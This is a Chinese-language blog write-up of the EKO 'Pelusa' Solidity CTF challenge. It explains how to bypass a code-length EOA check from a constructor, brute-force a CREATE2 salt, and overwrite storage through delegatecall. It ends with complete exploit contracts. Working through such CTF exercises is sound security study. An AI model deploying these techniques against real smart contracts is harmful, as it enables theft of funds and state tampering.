EKO

CTF-EKO-Pelusa

Posted by Thomas_Xu on 2023-02-27

CTF-EKO-Pelusa


author:Thomas_Xu

先来看题目描述:

你只要睁开眼睛,就在 1986 年的墨西哥,帮助迭戈将比分从 1 比 2 定为胜利,做任何必要的事情!

好吧,题目没有有价值的提示,只知道我们需要修改一个比分?

来看合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

interface IGame {
function getBallPossesion() external view returns (address);
}

// "el baile de la gambeta"
// https://www.youtube.com/watch?v=qzxn85zX2aE

/// @title Pelusa
/// @author https://twitter.com/eugenioclrc
/// @notice Its 1986, you are in the football world cup (Mexico86), help Diego score a goal.
/// @custom:url https://www.ctfprotocol.com/tracks/eko2022/pelusa
contract Pelusa {
address private immutable owner;

address internal player;

uint256 public goals = 1;

constructor() {
owner = address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, blockhash(block.number))))));
}

function passTheBall() external {
require(msg.sender.code.length == 0, "Only EOA players");
/// @dev "la pelota siempre al 10"
require(uint256(uint160(msg.sender)) % 100 == 10, "not allowed");

player = msg.sender;
}

function isGoal() public view returns (bool) {
// expect ball in owners posession
return IGame(player).getBallPossesion() == owner;
}

function shoot() external {
require(isGoal(), "missed");
/// @dev use "the hand of god" trick
(bool success, bytes memory data) = player.delegatecall(abi.encodeWithSignature("handOfGod()"));
require(success, "missed");
require(uint256(bytes32(data)) == 22_06_1986);
}
}

合约代码很少,passTheBall函数看起来限制了非EOA账户的调用,然后又对调用者的地址做了一个苛刻的判断。由于不能用合约调用,我们常用的create2跑靓号的解决方案行不通,那这个题看似无解?

但是…让我们来回想一下,Uniswap限制非EOA账户调用的方式是什么:

1
2
3
4
5
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}

通常是通过extcodesize这个操作码来返回地址相关代码量的大小,大于0则是合约账户。

那么题目中的require(msg.sender.code.length == 0, "Only EOA players");extcodesize有什么区别呢

address.code是evm在创建合约之后的runtimecode,而合约的构造函数,正是在创建合约时运行的。

换句话说,在构造函数运行的时候,合约还没有被创建完成,runtimecode还没有被evm生成,address.code的值仍然为0。

passTheBall()将player成功赋值后,才真正进入challange,老规矩先看看Factory吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
function deploy(address) external payable override returns (address[] memory ret) {
require(msg.value == 0, "dont send ether");
address _challenge = address(new Pelusa());
ret = new address[](1);
ret[0] = _challenge;
}

function isComplete(address[] calldata _challenges) external view override returns (bool) {
// @dev to win this challenge you must drain the contract
Pelusa _target = Pelusa(_challenges[0]);

return _target.goals() == 2;
}

可以看出来目的是修改goals为2。

但是在此合约中没有关于goals的赋值语句,那这个题反而变简单了。因为目前想要解题,几乎只有delegatecall这一种方式,很快我们就锁定了shoot函数:

1
2
3
4
5
6
7
function shoot() external {
require(isGoal(), "missed");
/// @dev use "the hand of god" trick
(bool success, bytes memory data) = player.delegatecall(abi.encodeWithSignature("handOfGod()"));
require(success, "missed");
require(uint256(bytes32(data)) == 22_06_1986);
}

第一个判断isGoal如下:

1
2
3
4
function isGoal() public view returns (bool) {
// expect ball in owners posession
return IGame(player).getBallPossesion() == owner;
}

要想通过这个判断,其实就是要获取owner的值,值得一提的是这个变量还没法通过web3.getStorageAt去获取,因为被声明为immutable的变量保存在initcode里面,那这里其实是可以通过查看合约部署时属于哪个区块,照着样子abi编码即可。

1
address(uint160(uint256(keccak256(abi.encodePacked(msg.sender, blockhash(block.number))))))

之后就进入到我们的delegatecall了,这里过于基础,就不讲了,相关内容可以移步https://thomasxu-blockchain.github.io/delegatecall/

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// SPDX-License-Identifier: MIT

pragma solidity 0.8.17;

import "../ChallengePelusa.sol";

contract PelusaDeployer {
ChallengePelusaAttacker public attacker;

constructor(address target) {
bytes32 salt = calculateSalt(target);
attacker = new ChallengePelusaAttacker{ salt: bytes32(salt) }(target);
}

function calculateSalt(address target) private view returns (bytes32) {
uint256 salt = 0;
bytes32 initHash = keccak256(abi.encodePacked(type(ChallengePelusaAttacker).creationCode, abi.encode(target)));

while (true) {
bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(salt), initHash));

if (uint160(uint256(hash)) % 100 == 10) {
break;
}

salt += 1;
}

return bytes32(salt);
}
}

contract ChallengePelusaAttacker is IGame {
address private owner;
uint256 public goals;

Pelusa private pelusa;

constructor(address _target) {
pelusa = Pelusa(_target);
pelusa.passTheBall();
}

function attack(address _deployer) external {
//这里把0换成Pelusa合约部署时的区块号即可
owner = address(uint160(uint256(keccak256(abi.encodePacked(_deployer, bytes32(uint256(0)))))));
pelusa.shoot();
}

function getBallPossesion() external view returns (address) {
return owner;
}

function handOfGod() external returns (uint256) {
goals = 2;
return 22_06_1986;
}
}

notice

true

This is copyright.

...

...

00:00
00:00